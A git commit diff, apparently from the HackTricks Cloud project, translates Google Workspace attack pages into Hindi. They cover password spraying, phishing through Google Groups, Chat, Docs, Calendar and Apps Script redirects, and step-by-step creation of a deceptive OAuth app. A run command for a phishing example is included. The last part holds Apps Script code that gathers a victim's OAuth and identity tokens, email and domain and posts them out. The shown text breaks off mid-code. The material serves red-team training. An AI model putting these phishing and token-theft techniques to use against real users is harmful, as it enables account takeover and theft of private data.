Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 19:09:14 +00:00
parent 7770a50092
commit 388bdfdf0a
244 changed files with 7988 additions and 10827 deletions

View File

@@ -6,7 +6,7 @@
### Google Platforms and OAuth Apps Phishing
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
जांचें कि आप विभिन्न Google प्लेटफार्मों जैसे Drive, Chat, Groups... का उपयोग करके पीड़ित को फ़िशिंग लिंक कैसे भेज सकते हैं और Google OAuth फ़िशिंग कैसे कर सकते हैं:
{{#ref}}
gws-google-platforms-phishing/
@@ -14,11 +14,11 @@ gws-google-platforms-phishing/
### Password Spraying
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
आपके द्वारा पाए गए सभी ईमेल (या आप जिनके आधार पर ईमेल नाम पैटर्न के आधार पर उत्पन्न किए गए हैं) के साथ पासवर्ड का परीक्षण करने के लिए, आप [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) जैसे टूल का उपयोग कर सकते हैं (हालांकि यह अप्रबंधित लगता है) जो IP पते को बदलने के लिए AWS लैम्ब्डा का उपयोग करेगा।
## Post-Exploitation
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
यदि आपने कुछ क्रेडेंशियल्स या उपयोगकर्ता के सत्र से समझौता किया है, तो आप उपयोगकर्ता की संभावित संवेदनशील जानकारी तक पहुँचने और विशेषाधिकार बढ़ाने के लिए कई क्रियाएँ कर सकते हैं:
{{#ref}}
gws-post-exploitation.md
@@ -26,17 +26,17 @@ gws-post-exploitation.md
### GWS <-->GCP Pivoting
Read more about the different techniques to pivot between GWS and GCP in:
GWS और GCP के बीच पिवट करने की विभिन्न तकनीकों के बारे में अधिक पढ़ें:
{{#ref}}
../gcp-security/gcp-to-workspace-pivoting/
{{#endref}}
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
- **GCPW (Google Credential Provider for Windows)**: यह एकल साइन-ऑन है जो Google Workspaces प्रदान करता है ताकि उपयोगकर्ता अपने Windows PCs में **अपने Workspace क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सकें। इसके अलावा, यह **Google Workspace तक पहुँचने के लिए टोकन को PC में कुछ स्थानों पर स्टोर करेगा**
- **GCDS (Google CLoud DIrectory Sync)**: यह एक टूल है जिसका उपयोग **आपके सक्रिय निर्देशिका उपयोगकर्ताओं और समूहों को आपके Workspace में समन्वयित करने के लिए किया जा सकता है**। इस टूल को **Workspace सुपरयूजर और विशेषाधिकार प्राप्त AD उपयोगकर्ता के क्रेडेंशियल्स** की आवश्यकता होती है। इसलिए, यह संभव है कि इसे एक डोमेन सर्वर के अंदर पाया जा सके जो समय-समय पर उपयोगकर्ताओं को समन्वयित कर रहा हो।
- **Admin Directory Sync**: यह आपको [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) से एक सर्वरलेस प्रक्रिया में AD और EntraID से उपयोगकर्ताओं को समन्वयित करने की अनुमति देता है।
{{#ref}}
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
## Persistence
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
यदि आपने कुछ क्रेडेंशियल्स या उपयोगकर्ता के सत्र से समझौता किया है, तो इसे बनाए रखने के लिए इन विकल्पों की जांच करें:
{{#ref}}
gws-persistence.md
@@ -52,18 +52,18 @@ gws-persistence.md
## Account Compromised Recovery
- Log out of all sessions
- Change user password
- Generate new 2FA backup codes
- Remove App passwords
- Remove OAuth apps
- Remove 2FA devices
- Remove email forwarders
- Remove emails filters
- Remove recovery email/phones
- Removed malicious synced smartphones
- Remove bad Android Apps
- Remove bad account delegations
- सभी सत्रों से लॉग आउट करें
- उपयोगकर्ता पासवर्ड बदलें
- नए 2FA बैकअप कोड उत्पन्न करें
- ऐप पासवर्ड हटा दें
- OAuth ऐप्स हटा दें
- 2FA उपकरण हटा दें
- ईमेल फॉरवर्डर हटा दें
- ईमेल फ़िल्टर हटा दें
- पुनर्प्राप्ति ईमेल/फोन हटा दें
- दुर्भावनापूर्ण समन्वयित स्मार्टफ़ोन हटा दें
- खराब Android ऐप्स हटा दें
- खराब खाता प्रतिनिधित्व हटा दें
## References
@@ -71,7 +71,3 @@ gws-persistence.md
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -10,70 +10,68 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
## Google Groups Phishing
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
स्पष्ट रूप से, डिफ़ॉल्ट रूप से, कार्यक्षेत्र के सदस्यों [**समूह बना सकते हैं**](https://groups.google.com/all-groups) **और लोगों को आमंत्रित कर सकते हैं।** आप फिर उस ईमेल को संशोधित कर सकते हैं जो उपयोगकर्ता को भेजा जाएगा **कुछ लिंक जोड़कर।** **ईमेल एक गूगल पते से आएगा**, इसलिए यह **वैध** लगेगा और लोग लिंक पर क्लिक कर सकते हैं।
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
यह भी संभव है कि **FROM** पते को **Google समूह ईमेल** के रूप में सेट किया जाए ताकि **समूह के अंदर उपयोगकर्ताओं को अधिक ईमेल भेजे जा सकें**, जैसे कि निम्नलिखित छवि में जहां समूह **`google--support@googlegroups.com`** बनाया गया था और समूह के सभी सदस्यों को **एक ईमेल भेजा गया** (जो बिना किसी सहमति के जोड़े गए थे)
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
## Google Chat Phishing
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
आप किसी व्यक्ति के साथ **चैट शुरू करने** में सक्षम हो सकते हैं बस उनके ईमेल पते को लेकर या **बात करने के लिए आमंत्रण भेज सकते हैं।** इसके अलावा, यह संभव है कि **एक स्पेस बनाएँ** जिसका कोई भी नाम हो सकता है (जैसे "Google Support") और **सदस्यों को आमंत्रित करें।** यदि वे स्वीकार करते हैं, तो वे सोच सकते हैं कि वे Google Support से बात कर रहे हैं:
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> **In my testing however the invited members didn't even receive an invitation.**
> **हालांकि, मेरे परीक्षण में आमंत्रित सदस्यों को तो आमंत्रण भी नहीं मिला।**
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
आप देख सकते हैं कि यह पहले कैसे काम करता था: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
## Google Doc Phishing
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
पहले यह संभव था कि एक **स्पष्ट रूप से वैध दस्तावेज़** बनाया जाए और एक टिप्पणी में **कुछ ईमेल (जैसे @user@gmail.com)** का उल्लेख किया जाए। Google **उस ईमेल पते पर एक ईमेल भेजता था** यह सूचित करते हुए कि उन्हें दस्तावेज़ में उल्लेखित किया गया था।\
आजकल, यह काम नहीं करता लेकिन यदि आप **शिकार को दस्तावेज़ तक पहुंच देते हैं** तो Google एक ईमेल भेजेगा जो यह संकेत करेगा। यह वह संदेश है जो तब प्रकट होता है जब आप किसी का उल्लेख करते हैं:
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
> शिकारियों के पास सुरक्षा तंत्र हो सकता है जो यह अनुमति नहीं देता कि यह ईमेल उनके पास पहुंचे कि एक बाहरी दस्तावेज़ उनके साथ साझा किया गया था।
## Google Calendar Phishing
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
आप **एक कैलेंडर इवेंट बना सकते हैं** और जितने भी ईमेल पते हैं उन सभी को जोड़ सकते हैं जिनका आप हमला कर रहे हैं। इस कैलेंडर इवेंट को **वर्तमान समय से 5 या 15 मिनट** में शेड्यूल करें। इवेंट को वैध दिखाएं और **एक टिप्पणी और एक शीर्षक डालें जो यह संकेत दे कि उन्हें कुछ पढ़ना है** (साथ में **फिशिंग लिंक**).
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
यह वह चेतावनी है जो ब्राउज़र में "लोगों को निकालना" शीर्षक के साथ दिखाई देगी, इसलिए आप एक अधिक फिशिंग जैसा शीर्षक सेट कर सकते हैं (और यहां तक कि अपने ईमेल से जुड़े नाम को भी बदल सकते हैं)।
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
To make it look less suspicious:
कम संदिग्ध दिखाने के लिए:
- Set it up so that **receivers cannot see the other people invited**
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
- इसे इस तरह सेट करें कि **प्राप्तकर्ता अन्य आमंत्रित लोगों को न देख सकें**
- **इवेंट के बारे में सूचित करने वाले ईमेल न भेजें।** फिर, लोग केवल 5 मिनट में एक बैठक के बारे में अपनी चेतावनी देखेंगे और उन्हें उस लिंक को पढ़ने की आवश्यकता है।
- स्पष्ट रूप से API का उपयोग करके आप **सत्य** सेट कर सकते हैं कि **लोगों ने** इवेंट को **स्वीकृत** किया है और यहां तक कि **उनकी ओर से टिप्पणियाँ भी बना सकते हैं**
## App Scripts Redirect Phishing
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
यह संभव है कि [https://script.google.com/](https://script.google.com/) में एक स्क्रिप्ट बनाई जाए और **इसे एक वेब एप्लिकेशन के रूप में उजागर किया जाए जो सभी के लिए सुलभ हो** जो वैध डोमेन **`script.google.com`** का उपयोग करेगा।\
कुछ कोड के साथ जैसे निम्नलिखित, एक हमलावर इस पृष्ठ में मनमाना सामग्री लोड कर सकता है बिना डोमेन तक पहुंच को रोके:
```javascript
function doGet() {
return HtmlService.createHtmlOutput(
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
return HtmlService.createHtmlOutput(
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
}
```
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Note that a warning will appear as the content is loaded inside an iframe.
> ध्यान दें कि जब सामग्री एक iframe के अंदर लोड होती है तो एक चेतावनी दिखाई देगी।
## App Scripts OAuth Phishing
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
यह संभव है कि दस्तावेज़ों से जुड़े App Scripts बनाए जाएं ताकि पीड़ित के OAuth टोकन तक पहुंच प्राप्त करने की कोशिश की जा सके, अधिक जानकारी के लिए देखें:
{{#ref}}
gws-app-scripts.md
@@ -81,89 +79,83 @@ gws-app-scripts.md
## OAuth Apps Phishing
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
पिछले किसी भी तकनीक का उपयोग उपयोगकर्ता को एक **Google OAuth एप्लिकेशन** तक पहुँचाने के लिए किया जा सकता है जो उपयोगकर्ता से कुछ **एक्सेस** **अनुरोध** करेगा। यदि उपयोगकर्ता **स्रोत** पर **विश्वास** करता है तो वह **एप्लिकेशन** पर भी **विश्वास** कर सकता है (भले ही यह उच्च विशेषाधिकार प्राप्त अनुमतियों के लिए पूछ रहा हो)।
> [!NOTE]
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
> ध्यान दें कि Google कई मामलों में एक बदसूरत प्रॉम्प्ट प्रस्तुत करता है जो चेतावनी देता है कि एप्लिकेशन अविश्वसनीय है और Workspace प्रशासक यहां तक कि लोगों को OAuth एप्लिकेशन स्वीकार करने से रोक सकते हैं।
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
**Google** उपयोगकर्ताओं की ओर से कई **Google सेवाओं** के साथ **संवाद करने** के लिए एप्लिकेशन बनाने की अनुमति देता है: Gmail, Drive, GCP...
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
जब किसी एप्लिकेशन को **अन्य उपयोगकर्ताओं की ओर से कार्य करने** के लिए बनाया जाता है, तो डेवलपर को **GCP के अंदर एक OAuth ऐप** बनाना होगा और उन स्कोप (अनुमतियों) को निर्दिष्ट करना होगा जिनकी ऐप को उपयोगकर्ताओं के डेटा तक पहुँचने की आवश्यकता है।\
जब एक **उपयोगकर्ता** उस **एप्लिकेशन** का **उपयोग** करना चाहता है, तो उन्हें **स्वीकृति** देने के लिए **प्रॉम्प्ट** किया जाएगा कि एप्लिकेशन उनके डेटा तक पहुँच प्राप्त करेगा जो स्कोप में निर्दिष्ट है।
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
यह **फिशिंग** गैर-तकनीकी उपयोगकर्ताओं को **संवेदनशील जानकारी तक पहुँचने वाले एप्लिकेशन** का उपयोग करने के लिए एक बहुत ही आकर्षक तरीका है क्योंकि वे परिणामों को नहीं समझ सकते। हालाँकि, संगठनों के खातों में, इसे होने से रोकने के तरीके हैं।
### Unverified App prompt
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
जैसा कि उल्लेख किया गया था, Google हमेशा उपयोगकर्ता को **अनुमतियों को स्वीकार करने के लिए प्रॉम्प्ट** करेगा जो वे एप्लिकेशन को अपनी ओर से दे रहे हैं। हालाँकि, यदि एप्लिकेशन को **खतरनाक** माना जाता है, तो Google पहले **प्रॉम्प्ट** दिखाएगा जो यह संकेत देगा कि यह **खतरनाक** है और उपयोगकर्ता के लिए एप्लिकेशन को अनुमतियाँ देने में **अधिक कठिनाई** पैदा करेगा।
This prompt appears in apps that:
यह प्रॉम्प्ट उन ऐप्स में दिखाई देता है:
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
- कोई भी स्कोप जो निजी डेटा (Gmail, Drive, GCP, BigQuery...) तक पहुँच सकता है
- 100 से कम उपयोगकर्ताओं वाले ऐप्स (100 से अधिक ऐप्स के लिए एक समीक्षा प्रक्रिया भी आवश्यक है ताकि अविश्वसनीय प्रॉम्प्ट दिखाना बंद किया जा सके)
### Interesting Scopes
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
[**यहां**](https://developers.google.com/identity/protocols/oauth2/scopes) आप सभी Google OAuth स्कोप की सूची पा सकते हैं।
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
- **cloud-platform**: अपने डेटा को **Google Cloud Platform** सेवाओं के बीच देखें और प्रबंधित करें। आप GCP में उपयोगकर्ता का प्रतिनिधित्व कर सकते हैं।
- **admin.directory.user.readonly**: अपने संगठन के GSuite निर्देशिका को देखें और डाउनलोड करें। सभी उपयोगकर्ताओं के नाम, फोन, कैलेंडर यूआरएल प्राप्त करें।
### Create an OAuth App
**Start creating an OAuth Client ID**
**OAuth Client ID बनाना शुरू करें**
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
4. **Select** the **OAuth scopes**.
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) पर जाएं और सहमति स्क्रीन को कॉन्फ़िगर करने पर क्लिक करें।
2. फिर, आपसे पूछा जाएगा कि **उपयोगकर्ता प्रकार** **आंतरिक** (केवल आपके संगठन के लोगों के लिए) है या **बाहरी**। उस विकल्प का चयन करें जो आपकी आवश्यकताओं के अनुसार हो
- आंतरिक तब दिलचस्प हो सकता है जब आपने पहले ही संगठन के एक उपयोगकर्ता को समझौता कर लिया है और आप इस ऐप को दूसरे को फिश करने के लिए बना रहे हैं।
3. ऐप को एक **नाम** दें, एक **समर्थन ईमेल** (ध्यान दें कि आप खुद को थोड़ा अधिक गुमनाम बनाने के लिए एक गूगल ग्रुप ईमेल सेट कर सकते हैं), एक **लोगो**, **अधिकृत डोमेन** और **अपडेट्स** के लिए एक और **ईमेल** दें।
4. **OAuth स्कोप** का **चयन** करें।
- यह पृष्ठ गैर-संवेदनशील अनुमतियों, संवेदनशील अनुमतियों और प्रतिबंधित अनुमतियों में विभाजित है। हर बार जब आप एक नई अनुमति जोड़ते हैं, तो यह अपनी श्रेणी में जोड़ी जाती है। अनुरोधित अनुमतियों के आधार पर उपयोगकर्ता को यह संकेत देने के लिए विभिन्न प्रॉम्प्ट दिखाई देंगे कि ये अनुमतियाँ कितनी संवेदनशील हैं।
- **`admin.directory.user.readonly`** और **`cloud-platform`** दोनों संवेदनशील अनुमतियाँ हैं।
5. **परीक्षण उपयोगकर्ताओं को जोड़ें।** जब तक ऐप की स्थिति परीक्षण में है, केवल ये उपयोगकर्ता ऐप तक पहुँचने में सक्षम होंगे इसलिए सुनिश्चित करें कि **उस ईमेल को जोड़ें जिसे आप फिश करने जा रहे हैं**
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
अब चलिए **पिछले बनाए गए OAuth Client ID** का उपयोग करके **वेब एप्लिकेशन के लिए क्रेडेंशियल्स प्राप्त करते हैं**:
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
2. Select to **create credentials for a Web application**
3. Set needed **Javascript origins** and **redirect URIs**
- You can set in both something like **`http://localhost:8000/callback`** for testing
4. Get your application **credentials**
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) पर वापस जाएं, इस बार एक अलग विकल्प दिखाई देगा।
2. **वेब एप्लिकेशन के लिए क्रेडेंशियल्स बनाने** का चयन करें
3. आवश्यक **जावास्क्रिप्ट मूल** और **रीडायरेक्ट यूआरआई** सेट करें
- आप परीक्षण के लिए दोनों में कुछ ऐसा सेट कर सकते हैं जैसे **`http://localhost:8000/callback`**
4. अपने एप्लिकेशन के **क्रेडेंशियल्स** प्राप्त करें
अंत में, चलिए **एक वेब एप्लिकेशन चलाते हैं जो OAuth एप्लिकेशन क्रेडेंशियल्स का उपयोग करेगा**। आप एक उदाहरण [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example) में पा सकते हैं।
```bash
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
cd gcp_oauth_phishing_example
pip install flask requests google-auth-oauthlib
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
```
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
जाएँ **`http://localhost:8000`** पर Google के साथ लॉगिन बटन पर क्लिक करें, आपको इस तरह का एक संदेश **प्रदर्शित** किया जाएगा:
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
ऐप्लिकेशन **एक्सेस और रिफ्रेश टोकन** दिखाएगा जिसे आसानी से उपयोग किया जा सकता है। **इन टोकनों का उपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए देखें**:
{{#ref}}
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
{{#endref}}
#### Using `glcoud`
#### `glcoud` का उपयोग करना
It's possible to do something using gcloud instead of the web console, check:
वेब कंसोल के बजाय gcloud का उपयोग करके कुछ करना संभव है, देखें:
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
{{#endref}}
## References
## संदर्भ
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch और Beau Bullock - OK Google, How do I Red Team GSuite?
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,21 +4,21 @@
## App Scripts
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
App Scripts वह **कोड है जो तब सक्रिय होगा जब कोई संपादक अनुमति वाला उपयोगकर्ता उस दस्तावेज़ तक पहुंचता है जिसके साथ App Script जुड़ा हुआ है** और **OAuth प्रॉम्प्ट स्वीकार करने के बाद**\
इन्हें App Script के मालिक द्वारा **हर निश्चित समय पर निष्पादित** करने के लिए भी सेट किया जा सकता है (Persistence).
### Create App Script
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
App Script बनाने के कई तरीके हैं, हालांकि सबसे सामान्य तरीके **Google Document (किसी भी प्रकार का)** से और **स्वतंत्र परियोजना** के रूप में हैं:
<details>
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
2. Click **Extensions** > **Google Apps Script**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. एक Docs दस्तावेज़, एक Sheets स्प्रेडशीट, या Slides प्रस्तुति खोलें।
2. **Extensions** > **Google Apps Script** पर क्लिक करें।
3. स्क्रिप्ट संपादक में, **Untitled project** पर क्लिक करें।
4. अपने प्रोजेक्ट का नाम दें और **Rename** पर क्लिक करें।
</details>
@@ -26,12 +26,12 @@ There are several ways to create an App Script, although the most common ones ar
<summary>Create a standalone project</summary>
To create a standalone project from Apps Script:
Apps Script से एक स्वतंत्र परियोजना बनाने के लिए:
1. Go to [`script.google.com`](https://script.google.com/).
2. Click add **New Project**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. [`script.google.com`](https://script.google.com/) पर जाएं।
2. **New Project** जोड़ें पर क्लिक करें।
3. स्क्रिप्ट संपादक में, **Untitled project** पर क्लिक करें।
4. अपने प्रोजेक्ट का नाम दें और **Rename** पर क्लिक करें।
</details>
@@ -39,8 +39,8 @@ To create a standalone project from Apps Script:
<summary>Create a standalone project from Google Drive</summary>
1. Open [Google Drive](https://drive.google.com/).
2. Click **New** > **More** > **Google Apps Script**.
1. [Google Drive](https://drive.google.com/) खोलें।
2. **New** > **More** > **Google Apps Script** पर क्लिक करें।
</details>
@@ -48,10 +48,10 @@ To create a standalone project from Apps Script:
<summary>Create a container-bound project from Google Forms</summary>
1. Open a form in Google Forms.
2. Click More more_vert > **Script editor**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. Google Forms में एक फॉर्म खोलें।
2. More more_vert > **Script editor** पर क्लिक करें।
3. स्क्रिप्ट संपादक में, **Untitled project** पर क्लिक करें।
4. अपने प्रोजेक्ट का नाम दें और **Rename** पर क्लिक करें।
</details>
@@ -59,9 +59,9 @@ To create a standalone project from Apps Script:
<summary>Create a standalone project using the clasp command line tool</summary>
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
`clasp` एक कमांड लाइन टूल है जो आपको टर्मिनल से Apps Script परियोजनाएँ बनाने, खींचने/धकेलने और तैनात करने की अनुमति देता है।
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
अधिक जानकारी के लिए [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) देखें।
</details>
@@ -69,171 +69,159 @@ See the [Command Line Interface using `clasp` guide](https://developers.google.c
### Create Google Sheet with App Script
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
एक App Script बनाने से शुरू करें, इस परिदृश्य के लिए मेरी सिफारिश है कि एक Google Sheet बनाएं और **`Extensions > App Scripts`** पर जाएं, इससे आपके लिए **शीट से जुड़ा एक नया App Script खुलेगा**
### Leak token
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
OAuth टोकन तक पहुंच देने के लिए आपको **`Services +` पर क्लिक करना होगा और स्कोप जोड़ना होगा जैसे**:
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
- **Gmail**: To access gmail data
- **Drive**: To access drive data
- **Google Sheets API**: So it works with the trigger
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
- **AdminDirectory**: निर्देशिका के उपयोगकर्ताओं और समूहों तक पहुंच (यदि उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं)
- **Gmail**: Gmail डेटा तक पहुंचने के लिए
- **Drive**: ड्राइव डेटा तक पहुंचने के लिए
- **Google Sheets API**: ताकि यह ट्रिगर के साथ काम करे
अपने लिए **आवश्यक स्कोप** बदलने के लिए आप प्रोजेक्ट सेटिंग्स में जा सकते हैं और सक्षम कर सकते हैं: **`Show "appsscript.json" manifest file in editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
